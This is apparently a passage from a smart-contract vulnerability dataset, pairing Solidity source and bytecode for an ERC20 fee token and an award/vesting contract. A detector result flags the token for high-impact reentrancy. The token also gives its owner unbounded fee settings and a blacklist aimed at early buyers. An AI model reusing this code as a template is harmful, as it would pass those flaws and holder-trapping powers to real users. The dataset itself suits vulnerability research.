_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054d578063dd62ed3e14610563578063ea1644d5146105a9578063f2fde38b146105c957600080fd5b8063a9059cbb146104c8578063bfd79284146104e8578063c3c8cd8014610518578063c492f0461461052d57600080fd5b80638f9a55c0116100d15780638f9a55c01461044657806395d89b411461045c57806398a5c31514610488578063a2a957bb146104a857600080fd5b80637d1db4a5146103f25780638da5cb5b146104085780638f70ccf71461042657600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038857806370a082311461039d578063715018a6146103bd57806374010ece146103d257600080fd5b8063313ce5671461030c57806349bd5a5e146103285780636b999053146103485780636d8aa8f81461036857600080fd5b80631694505e116101ab5780631694505e1461027857806318160ddd146102b057806323b872dd146102d65780632fd689e3146102f657600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024857600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b69565b6105e9565b005b34801561020a57600080fd5b5060408051808201909152600f81526e2a3bb4ba3a32b92a30b5b2b7bb32b960891b60208201525b60405161023f9190611c9b565b60405180910390f35b34801561025457600080fd5b50610268610263366004611ab9565b610688565b604051901515815260200161023f565b34801561028457600080fd5b50601554610298906001600160a01b031681565b6040516001600160a01b03909116815260200161023f565b3480156102bc57600080fd5b506802629f66e0c53000005b60405190815260200161023f565b3480156102e257600080fd5b506102686102f1366004611a78565b61069f565b34801561030257600080fd5b506102c860195481565b34801561031857600080fd5b506040516009815260200161023f565b34801561033457600080fd5b50601654610298906001600160a01b031681565b34801561035457600080fd5b506101fc610363366004611a05565b610708565b34801561037457600080fd5b506101fc610383366004611c35565b610753565b34801561039457600080fd5b506101fc61079b565b3480156103a957600080fd5b506102c86103b8366004611a05565b6107e6565b3480156103c957600080fd5b506101fc610808565b3480156103de57600080fd5b506101fc6103ed366004611c50565b61087c565b3480156103fe57600080fd5b506102c860175481565b34801561041457600080fd5b506000546001600160a01b0316610298565b34801561043257600080fd5b506101fc610441366004611c35565b6108ab565b34801561045257600080fd5b506102c860185481565b34801561046857600080fd5b5060408051808201909152600381526254544b60e81b6020820152610232565b34801561049457600080fd5b506101fc6104a3366004611c50565b6108f7565b3480156104b457600080fd5b506101fc6104c3366004611c69565b610926565b3480156104d457600080fd5b506102686104e3366004611ab9565b610964565b3480156104f457600080fd5b50610268610503366004611a05565b60116020526000908152604090205460ff1681565b34801561052457600080fd5b506101fc610971565b34801561053957600080fd5b506101fc610548366004611ae5565b6109c5565b34801561055957600080fd5b506102c860085481565b34801561056f57600080fd5b506102c861057e366004611a3f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b557600080fd5b506101fc6105c4366004611c50565b610a66565b3480156105d557600080fd5b506101fc6105e4366004611a05565b610a95565b6000546001600160a01b0316331461061c5760405162461bcd60e51b815260040161061390611cf0565b60405180910390fd5b60005b81518110156106845760016011600084848151811061064057610640611e37565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611e06565b91505061061f565b5050565b6000610695338484610b7f565b5060015b92915050565b60006106ac848484610ca3565b6106fe84336106f985604051806060016040528060288152602001611e79602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611261565b610b7f565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161061390611cf0565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461077d5760405162461bcd60e51b815260040161061390611cf0565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d057506014546001600160a01b0316336001600160a01b0316145b6107d957600080fd5b476107e38161129b565b50565b6001600160a01b03811660009081526002602052604081205461069990611320565b6000546001600160a01b031633146108325760405162461bcd60e51b815260040161061390611cf0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161061390611cf0565b601755565b6000546001600160a01b031633146108d55760405162461bcd60e51b815260040161061390611cf0565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161061390611cf0565b601955565b6000546001600160a01b031633146109505760405162461bcd60e51b815260040161061390611cf0565b600993909355600b91909155600a55600c55565b6000610695338484610ca3565b6013546001600160a01b0316336001600160a01b031614806109a657506014546001600160a01b0316336001600160a01b0316145b6109af57600080fd5b60006109ba306107e6565b90506107e3816113a4565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161061390611cf0565b60005b82811015610a60578160056000868685818110610a1157610a11611e37565b9050602002016020810190610a269190611a05565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5881611e06565b9150506109f2565b50505050565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161061390611cf0565b601855565b6000546001600160a01b03163314610abf5760405162461bcd60e51b815260040161061390611cf0565b6001600160a01b038116610b245760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610613565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610613565b6001600160a01b038216610c425760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610613565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d075760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610613565b6001600160a01b038216610d695760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610613565b60008111610dcb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610613565b6000546001600160a01b03848116911614801590610df757506000546001600160a01b03838116911614155b1561115a57601654600160a01b900460ff16610e90576000546001600160a01b03848116911614610e905760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610613565b601754811115610ee25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610613565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2457506001600160a01b03821660009081526011602052604090205460ff16155b610f7c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610613565b600854610f8a906002611d96565b4311158015610fa657506016546001600160a01b038481169116145b8015610fc057506015546001600160a01b03838116911614155b8015610fd557506001600160a01b0382163014155b15610ffe576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110835760185481611020846107e6565b61102a9190611d96565b106110835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610613565b600061108e306107e6565b6019546017549192508210159082106110a75760175491505b8080156110be5750601654600160a81b900460ff16155b80156110d857506016546001600160a01b03868116911614155b80156110ed5750601654600160b01b900460ff165b801561111257506001600160a01b03851660009081526005602052604090205460ff16155b801561113757506001600160a01b03841660009081526005602052604090205460ff16155b1561115757611145826113a4565b478015611155576111554761129b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061119c57506001600160a01b03831660009081526005602052604090205460ff165b806111ce57506016546001600160a01b038581169116148015906111ce57506016546001600160a01b03848116911614155b156111db57506000611255565b6016546001600160a01b03858116911614801561120657506015546001600160a01b03848116911614155b1561121857600954600d55600a54600e555b6016546001600160a01b03848116911614801561124357506015546001600160a01b03858116911614155b1561125557600b54600d55600c54600e555b610a608484848461152d565b600081848411156112855760405162461bcd60e51b81526004016106139190611c9b565b5060006112928486611def565b95945050505050565b6013546001600160a01b03166108fc6112b583600261155b565b6040518115909202916000818181858888f193505050501580156112dd573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112f883600261155b565b6040518115909202916000818181858888f19350505050158015610684573d6000803e3d6000fd5b60006006548211156113875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610613565b600061139161159d565b905061139d838261155b565b9392505050565b6016805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ec576113ec611e37565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144057600080fd5b505afa158015611454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114789190611a22565b8160018151811061148b5761148b611e37565b6001600160a01b0392831660209182029290920101526015546114b19130911684610b7f565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114ea908590600090869030904290600401611d25565b600060405180830381600087803b15801561150457600080fd5b505af1158015611518573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b8061153a5761153a6115c0565b6115458484846115ee565b80610a6057610a60600f54600d55601054600e55565b600061139d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116e5565b60008060006115aa611713565b90925090506115b9828261155b565b9250505090565b600d541580156115d05750600e54155b156115d757565b600d8054600f55600e805460105560009182905555565b60008060008060008061160087611755565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061163290876117b2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461166190866117f4565b6001600160a01b03891660009081526002602052604090205561168381611853565b61168d848361189d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116d291815260200190565b60405180910390a3505050505050505050565b600081836117065760405162461bcd60e51b81526004016106139190611c9b565b5060006112928486611dae565b60065460009081906802629f66e0c530000061172f828261155b565b82101561174c575050600654926802629f66e0c530000092509050565b90939092509050565b60008060008060008060008060006117728a600d54600e546118c1565b925092509250600061178261159d565b905060008060006117958e878787611916565b919e509c509a509598509396509194505050505091939550919395565b600061139d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611261565b6000806118018385611d96565b90508381101561139d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610613565b600061185d61159d565b9050600061186b8383611966565b3060009081526002602052604090205490915061188890826117f4565b30600090815260026020526040902055505050565b6006546118aa90836117b2565b6006556007546118ba90826117f4565b6007555050565b60008080806118db60646118d58989611966565b9061155b565b905060006118ee60646118d58a89611966565b90506000611906826119008b866117b2565b906117b2565b9992985090965090945050505050565b60008080806119258886611966565b905060006119338887611966565b905060006119418888611966565b905060006119538261190086866117b2565b939b939a50919850919650505050505050565b60008261197557506000610699565b60006119818385611dd0565b90508261198e8583611dae565b1461139d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610613565b80356119f081611e63565b919050565b803580151581146119f057600080fd5b600060208284031215611a1757600080fd5b813561139d81611e63565b600060208284031215611a3457600080fd5b815161139d81611e63565b60008060408385031215611a5257600080fd5b8235611a5d81611e63565b91506020830135611a6d81611e63565b809150509250929050565b600080600060608486031215611a8d57600080fd5b8335611a9881611e63565b92506020840135611aa881611e63565b929592945050506040919091013590565b60008060408385031215611acc57600080fd5b8235611ad781611e63565b946020939093013593505050565b600080600060408486031215611afa57600080fd5b833567ffffffffffffffff80821115611b1257600080fd5b818601915086601f830112611b2657600080fd5b813581811115611b3557600080fd5b8760208260051b8501011115611b4a57600080fd5b602092830195509350611b6091860190506119f5565b90509250925092565b60006020808385031215611b7c57600080fd5b823567ffffffffffffffff80821115611b9457600080fd5b818501915085601f830112611ba857600080fd5b813581811115611bba57611bba611e4d565b8060051b604051601f19603f83011681018181108582111715611bdf57611bdf611e4d565b604052828152858101935084860182860187018a1015611bfe57600080fd5b600095505b83861015611c2857611c14816119e5565b855260019590950194938601938601611c03565b5098975050505050505050565b600060208284031215611c4757600080fd5b61139d826119f5565b600060208284031215611c6257600080fd5b5035919050565b60008060008060808587031215611c7f57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611cc857858101830151858201604001528201611cac565b81811115611cda576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d755784516001600160a01b031683529383019391830191600101611d50565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611da957611da9611e21565b500190565b600082611dcb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dea57611dea611e21565b500290565b600082821015611e0157611e01611e21565b500390565b6000600019821415611e1a57611e1a611e21565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1361770d4e6d86061540eac10828483d0f0b9edac73763d7ee26a7ac45fad1c64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,505 |
0x5a867f6b759ca090e47cbfdbb3ea76e427262862 | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20Token is IERC20 {
function maxSupply() external view returns (uint256);
function issue(address account, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
}
contract DevAward {
// dev line release
address public dev;
uint256 public devStartBlock;
uint256 public devAccAwards;
uint256 public devPerBlock;
uint256 public MaxAvailAwards;
uint256 public claimedIncentives;
}
contract AwardInfo {
struct TaxInfo {
uint256 epoch;
uint256 amount;
}
struct UserInfo {
uint256 freeAmount;
uint256 taxHead; // queue head element index
uint256 taxTail; // queue tail next element index
bool notEmpty; // whether taxList is empty where taxHead = taxTail
TaxInfo[] taxList;
}
// tax epoch info
uint256 public taxEpoch = 9; // tax epoch and user taxlist max length
uint256 public epUnit = 1 weeks; // epoch unit => week
// user info
mapping(address => UserInfo) internal userInfo;
// tax treasury address
address public treasury;
}
contract AwardContract is DevAward, AwardInfo, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20Token;
// platform token
IERC20Token public platformToken;
mapping(address => bool) public governors;
modifier onlyGovernor{
require(governors[_msgSender()], "AwardContract: caller is not the governor");
_;
}
event AddFreeAward(address user, uint256 amount);
event AddAward(address user, uint256 amount);
event Withdraw(address user, uint256 amount, uint256 tax);
constructor(
IERC20Token _platformToken,
uint256 _taxEpoch,
address _treasury,
address _dev,
uint256 _devStartBlock,
uint256 _devPerBlock
) public {
require(_taxEpoch > 0, "AwardContract: taxEpoch invalid");
require(_dev != address(0), "AwardContract: dev invalid");
require(address(_platformToken) != address(0), "AwardContract: platform token invalid");
require(_devStartBlock != 0, "AwardContract: dev start block invalid");
platformToken = _platformToken;
taxEpoch = _taxEpoch;
governors[_msgSender()] = true;
// get tax fee
treasury = _treasury;
// dev info
dev = _dev;
// Dev can receive 10% of platformToken
MaxAvailAwards = platformToken.maxSupply().mul(10).div(100);
devPerBlock = _devPerBlock;
devStartBlock = _devStartBlock;
}
// get user total rewards
function getUserTotalAwards(address user) view public returns (uint256){
UserInfo memory info = userInfo[user];
uint256 amount = info.freeAmount;
if (info.notEmpty) {
uint256 cursor = info.taxHead;
while (true) {
amount = amount.add(info.taxList[cursor].amount);
cursor = cursor.add(1).mod(taxEpoch);
if (cursor == info.taxTail) {
break;
}
}
}
return amount;
}
// get user free rewards amount
function getCurrentFreeAwards(address user) view public returns (uint256){
uint256 rebaseEp = getCurrEpoch().sub(taxEpoch);
UserInfo memory info = userInfo[user];
uint256 amount = info.freeAmount;
if (info.notEmpty) {
uint256 cursor = info.taxHead;
while (info.taxList[cursor].epoch <= rebaseEp) {
amount = amount.add(info.taxList[cursor].amount);
cursor = cursor.add(1).mod(taxEpoch);
if (cursor == info.taxTail) {
break;
}
}
}
return amount;
}
// get available awards
function getUserAvailAwards(address user) view public returns (uint256){
uint256 current = getCurrEpoch();
uint256 rebaseEp = current.sub(taxEpoch);
UserInfo memory info = userInfo[user];
uint256 amount = info.freeAmount;
if (info.notEmpty) {
uint256 _ep = taxEpoch.add(1);
uint256 cursor = info.taxHead;
while (true) {
if (info.taxList[cursor].epoch > rebaseEp) {
uint rate = current.sub(info.taxList[cursor].epoch).add(1).mul(1e12).div(_ep);
uint256 available = info.taxList[cursor].amount.mul(rate).div(1e12);
amount = amount.add(available);
} else {
amount = amount.add(info.taxList[cursor].amount);
}
cursor = cursor.add(1).mod(taxEpoch);
if (cursor == info.taxTail) {
break;
}
}
}
return amount;
}
// estimate gas
function estimateTax(uint256 _amount) view external returns (uint256){
uint256 _current = getCurrEpoch();
uint256 tax = 0;
UserInfo memory user = userInfo[msg.sender];
if (user.freeAmount >= _amount) {
return 0;
}
else {
uint256 current = _current;
uint256 arrears = _amount.sub(user.freeAmount);
uint256 _head = user.taxHead;
uint256 _ep = taxEpoch.add(1);
while (user.notEmpty) {
// non-levied tax rate
TaxInfo memory taxInfo = user.taxList[_head];
uint rate = current.sub(taxInfo.epoch).add(1).mul(1e12).div(_ep);
if (rate > 1e12) {
rate = 1e12;
}
uint256 available = taxInfo.amount.mul(rate).div(1e12);
if (available >= arrears) {
uint256 newAmount = arrears.mul(1e12).div(rate);
tax = tax.add(newAmount.sub(arrears));
arrears = 0;
break;
}
else {
arrears = arrears.sub(available);
tax = tax.add(taxInfo.amount.sub(available));
_head = _head.add(1).mod(taxEpoch);
if (_head == user.taxTail) {
break;
}
}
}
require(arrears == 0, "AwardContract: Insufficient Balance");
return tax;
}
}
// add governor
function addGovernor(address governor) onlyOwner external {
governors[governor] = true;
}
// remove governor
function removeGovernor(address governor) onlyOwner external {
governors[governor] = false;
}
// dev get rewards
function claimDevAwards() external {
require(msg.sender == dev, "AwardContract: only dev can receive awards");
require(devAccAwards < MaxAvailAwards, "AwardContract: dev awards exceed permitted amount");
uint256 amount = block.number.sub(devStartBlock).mul(devPerBlock);
uint256 rewards = amount.sub(devAccAwards);
if (amount > MaxAvailAwards) {
rewards = MaxAvailAwards.sub(devAccAwards);
}
safeIssue(dev, rewards, "AwardContract: dev claim awards failed");
devAccAwards = devAccAwards.add(rewards);
}
// add free amount
function addFreeAward(address _user, uint256 _amount) onlyGovernor external {
UserInfo storage user = userInfo[_user];
user.freeAmount = user.freeAmount.add(_amount);
emit AddFreeAward(_user, _amount);
}
// add award
function addAward(address _user, uint256 _amount) onlyGovernor public {
uint256 current = getCurrEpoch();
// get epoch
UserInfo storage user = userInfo[_user];
//
if (user.taxList.length == 0) {
user.taxList.push(TaxInfo({
epoch : current,
amount : _amount
}));
user.taxHead = 0;
user.taxTail = 1;
user.notEmpty = true;
}
else {
// taxList not full
if (user.notEmpty) {
uint256 end;
if (user.taxTail == 0) {
end = user.taxList.length - 1;
} else {
end = user.taxTail.sub(1);
}
if (user.taxList[end].epoch >= current) {
user.taxList[end].amount = user.taxList[end].amount.add(_amount);
} else {
if (user.taxList.length < taxEpoch) {
user.taxList.push(TaxInfo({
epoch : current,
amount : _amount
}));
} else {
if (user.taxHead == user.taxTail) {
rebase(user, current);
}
user.taxList[user.taxTail].epoch = current;
user.taxList[user.taxTail].amount = _amount;
}
user.taxTail = user.taxTail.add(1).mod(taxEpoch);
}
} else {// user.taxHead == user.taxTail
if (user.taxList.length < taxEpoch) {
user.taxList.push(TaxInfo({
epoch : current,
amount : _amount
}));
} else {
user.taxList[user.taxTail].epoch = current;
user.taxList[user.taxTail].amount = _amount;
}
user.taxTail = user.taxTail.add(1).mod(taxEpoch);
user.notEmpty = true;
}
}
emit AddAward(_user, _amount);
}
// batch add awards
function batchAddAwards(address[] memory _users, uint256[] memory _amounts) onlyGovernor external {
require(_users.length == _amounts.length, "AwardContract: params invalid");
for (uint i = 0; i < _users.length; i++) {
addAward(_users[i], _amounts[i]);
}
}
function withdraw(uint256 _amount) external {
uint256 current = getCurrEpoch();
uint256 _destroy = 0;
// get base time
UserInfo storage user = userInfo[msg.sender];
// rebase
rebase(user, current);
if (user.freeAmount >= _amount) {
user.freeAmount = user.freeAmount.sub(_amount);
}
else {
uint256 arrears = _amount.sub(user.freeAmount);
user.freeAmount = 0;
uint256 _head = user.taxHead;
uint256 _ep = taxEpoch.add(1);
while (user.notEmpty) {
// non-levied tax rate
uint rate = current.sub(user.taxList[_head].epoch).add(1).mul(1e12).div(_ep);
uint256 available = user.taxList[_head].amount.mul(rate).div(1e12);
// available token
if (available >= arrears) {
uint256 newAmount = arrears.mul(1e12).div(rate);
user.taxList[_head].amount = user.taxList[_head].amount.sub(newAmount);
_destroy = _destroy.add(newAmount.sub(arrears));
arrears = 0;
break;
}
else {
arrears = arrears.sub(available);
_destroy = _destroy.add(user.taxList[_head].amount.sub(available));
_head = _head.add(1).mod(taxEpoch);
if (_head == user.taxTail) {
user.notEmpty = false;
}
}
}
user.taxHead = _head;
require(arrears == 0, "AwardContract: Insufficient Balance");
safeIssue(treasury, _destroy, "AwardContract: levy tax failed");
}
safeIssue(msg.sender, _amount, "AwardContract: claim awards failed");
emit Withdraw(msg.sender, _amount, _destroy);
}
function pendingIncentives() view public returns (uint256){
uint256 startBlock = 11210456; // It's staking start block
if (block.number <= startBlock) return 0;
